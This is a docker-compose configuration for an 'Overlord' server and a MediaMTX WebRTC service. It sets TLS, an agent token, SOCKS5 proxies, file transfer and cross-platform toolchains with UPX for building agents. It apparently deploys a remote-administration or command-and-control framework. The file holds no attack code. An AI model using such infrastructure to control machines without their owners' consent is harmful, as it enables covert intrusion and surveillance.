services:
  overlord-server:
    image: ${DOCKER_IMAGE:-ghcr.io/vxaboveground/overlord:latest}
    build:
      context: .
      dockerfile: Dockerfile
      cache_from:
        - type=local,src=.docker-cache/buildx
      cache_to:
        - type=local,dest=.docker-cache/buildx,mode=max
    container_name: overlord-server
    # Host networking: the container shares the host's network stack directly.
    # Every port the server binds (5173, SOCKS5 proxies, etc.) is accessible
    # on the host with zero overhead — no per-port proxy process.
    network_mode: host
    environment:
      PORT: ${PORT:-5173}
      HOST: ${HOST:-0.0.0.0}
      # Optional: set an explicit initial admin account. If OVERLORD_PASS is empty,
      # the server generates one-time bootstrap secrets and stores them in /app/data/save.json.
      OVERLORD_USER: ${OVERLORD_USER:-admin}
      OVERLORD_PASS: ${OVERLORD_PASS:-}
      # Optional overrides. If empty, generated and persisted to /app/data/save.json.
      JWT_SECRET: ${JWT_SECRET:-}
      OVERLORD_AGENT_TOKEN: ${OVERLORD_AGENT_TOKEN:-}
      NODE_ENV: ${NODE_ENV:-production}
      OVERLORD_TLS_CERT: ${OVERLORD_TLS_CERT:-/app/certs/server.crt}
      OVERLORD_TLS_KEY: ${OVERLORD_TLS_KEY:-/app/certs/server.key}
      OVERLORD_TLS_CA: ${OVERLORD_TLS_CA:-}
      # Set true only behind a trusted reverse proxy that terminates TLS (for example Render).
      # Default false keeps current behavior: Overlord terminates TLS in-process.
      OVERLORD_TLS_OFFLOAD: ${OVERLORD_TLS_OFFLOAD:-false}
      # Trust X-Forwarded-For / X-Real-IP / CF-Connecting-IP from an upstream proxy when
      # resolving the agent's source IP shown in the dashboard, audit log, and IP bans.
      # Set true only when a trusted reverse proxy (nginx, Caddy, Cloudflare, etc.) sits
      # in front of Overlord — otherwise agents can spoof their IP. Auto-enabled when
      # OVERLORD_TLS_OFFLOAD=true.
      OVERLORD_TRUST_PROXY: ${OVERLORD_TRUST_PROXY:-false}
      # Cookie security mode: auto (default), true, or false.
      # auto: Secure cookie on HTTPS requests / X-Forwarded-Proto=https.
      OVERLORD_AUTH_COOKIE_SECURE: ${OVERLORD_AUTH_COOKIE_SECURE:-auto}
      # Optional certbot integration (used only when NODE_ENV=production)
      OVERLORD_TLS_CERTBOT_ENABLED: ${OVERLORD_TLS_CERTBOT_ENABLED:-false}
      OVERLORD_TLS_CERTBOT_LIVE_PATH: ${OVERLORD_TLS_CERTBOT_LIVE_PATH:-/etc/letsencrypt/live}
      OVERLORD_TLS_CERTBOT_DOMAIN: ${OVERLORD_TLS_CERTBOT_DOMAIN:-}
      OVERLORD_TLS_CERTBOT_CERT_FILE: ${OVERLORD_TLS_CERTBOT_CERT_FILE:-fullchain.pem}
      OVERLORD_TLS_CERTBOT_KEY_FILE: ${OVERLORD_TLS_CERTBOT_KEY_FILE:-privkey.pem}
      OVERLORD_TLS_CERTBOT_CA_FILE: ${OVERLORD_TLS_CERTBOT_CA_FILE:-chain.pem}
      OVERLORD_CLIENT_BUILD_CACHE_DIR: ${OVERLORD_CLIENT_BUILD_CACHE_DIR:-/app/client-build-cache}
      OVERLORD_FILE_UPLOAD_INTENT_TTL_MS: ${OVERLORD_FILE_UPLOAD_INTENT_TTL_MS:-1800000}
      OVERLORD_FILE_UPLOAD_PULL_TTL_MS: ${OVERLORD_FILE_UPLOAD_PULL_TTL_MS:-1800000}
      # WebRTC: where Bun reaches MediaMTX HTTP (WHIP/WHEP signaling).
      # Host networking on Linux → localhost works. WebRTC is opt-in; leave the
      # toggle in the UI off if MediaMTX is not running.
      OVERLORD_MEDIAMTX_URL: ${OVERLORD_MEDIAMTX_URL:-http://localhost:8889}
    volumes:
      # overlord-data also caches downloaded cross-compile toolchains
      # under /app/data/toolchains, fetched on first agent build for a
      # given target (mingw, aarch64/armv7/musl, Android NDK, ldid, UPX).
      - overlord-data:/app/data
      - overlord-certs:/app/certs
      - overlord-client-build-cache:/app/client-build-cache
      - overlord-plugins:/app/plugins
      # Uncomment to mount host certbot certs read-only
      # - /etc/letsencrypt:/etc/letsencrypt:ro
      # Uncomment to use a static config file instead of env vars
      # - ./Overlord-Server/config.json:/app/config.json:ro
    restart: unless-stopped
    init: true
    security_opt:
      - no-new-privileges:true
    healthcheck:
      # Use http:// when OVERLORD_TLS_OFFLOAD=true.
      test: ["CMD-SHELL", "wget -qO- --no-check-certificate ${OVERLORD_HEALTHCHECK_URL:-https://localhost:5173/health} >/dev/null 2>&1 || exit 1"]
      interval: 30s
      timeout: 10s
      retries: 3
      start_period: 40s

  mediamtx:
    image: bluenviron/mediamtx:latest
    container_name: overlord-mediamtx
    # Share the host network so WebRTC ICE candidates use the host's real
    # interfaces directly — no extra config needed for local or LAN browsers.
    network_mode: host
    restart: unless-stopped
    environment:
      # Disable every protocol except WebRTC. The Overlord server proxies all
      # WHIP/WHEP signaling and enforces auth itself, so MediaMTX doesn't
      # need RTSP/RTMP/HLS/SRT listeners.
      MTX_RTSP: "no"
      MTX_RTMP: "no"
      MTX_HLS: "no"
      MTX_SRT: "no"
      # ICE on fixed ports so the compose / host firewall has a single target.
      MTX_WEBRTCLOCALUDPADDRESS: ":8189"
      MTX_WEBRTCLOCALTCPADDRESS: ":8189"
      # Keep the real-time packet queue bounded and use an MTU that remains
      # safe across common VPN, IPv6, and tunneled network paths.
      MTX_WRITEQUEUESIZE: ${OVERLORD_MEDIAMTX_WRITE_QUEUE_SIZE:-128}
      MTX_UDPMAXPAYLOADSIZE: ${OVERLORD_MEDIAMTX_UDP_MAX_PAYLOAD_SIZE:-1200}
      # Leave blank to let MediaMTX advertise detected interfaces. Public-NAT
      # deployments must set this to their public IP/DNS; LAN deployments can
      # include both LAN and public addresses, for example:
      #   OVERLORD_WEBRTC_ADDITIONAL_HOSTS=192.168.1.42,stream.example.com
      MTX_WEBRTCADDITIONALHOSTS: ${OVERLORD_WEBRTC_ADDITIONAL_HOSTS:-}

volumes:
  overlord-data:
  overlord-certs:
  overlord-client-build-cache:
  overlord-plugins: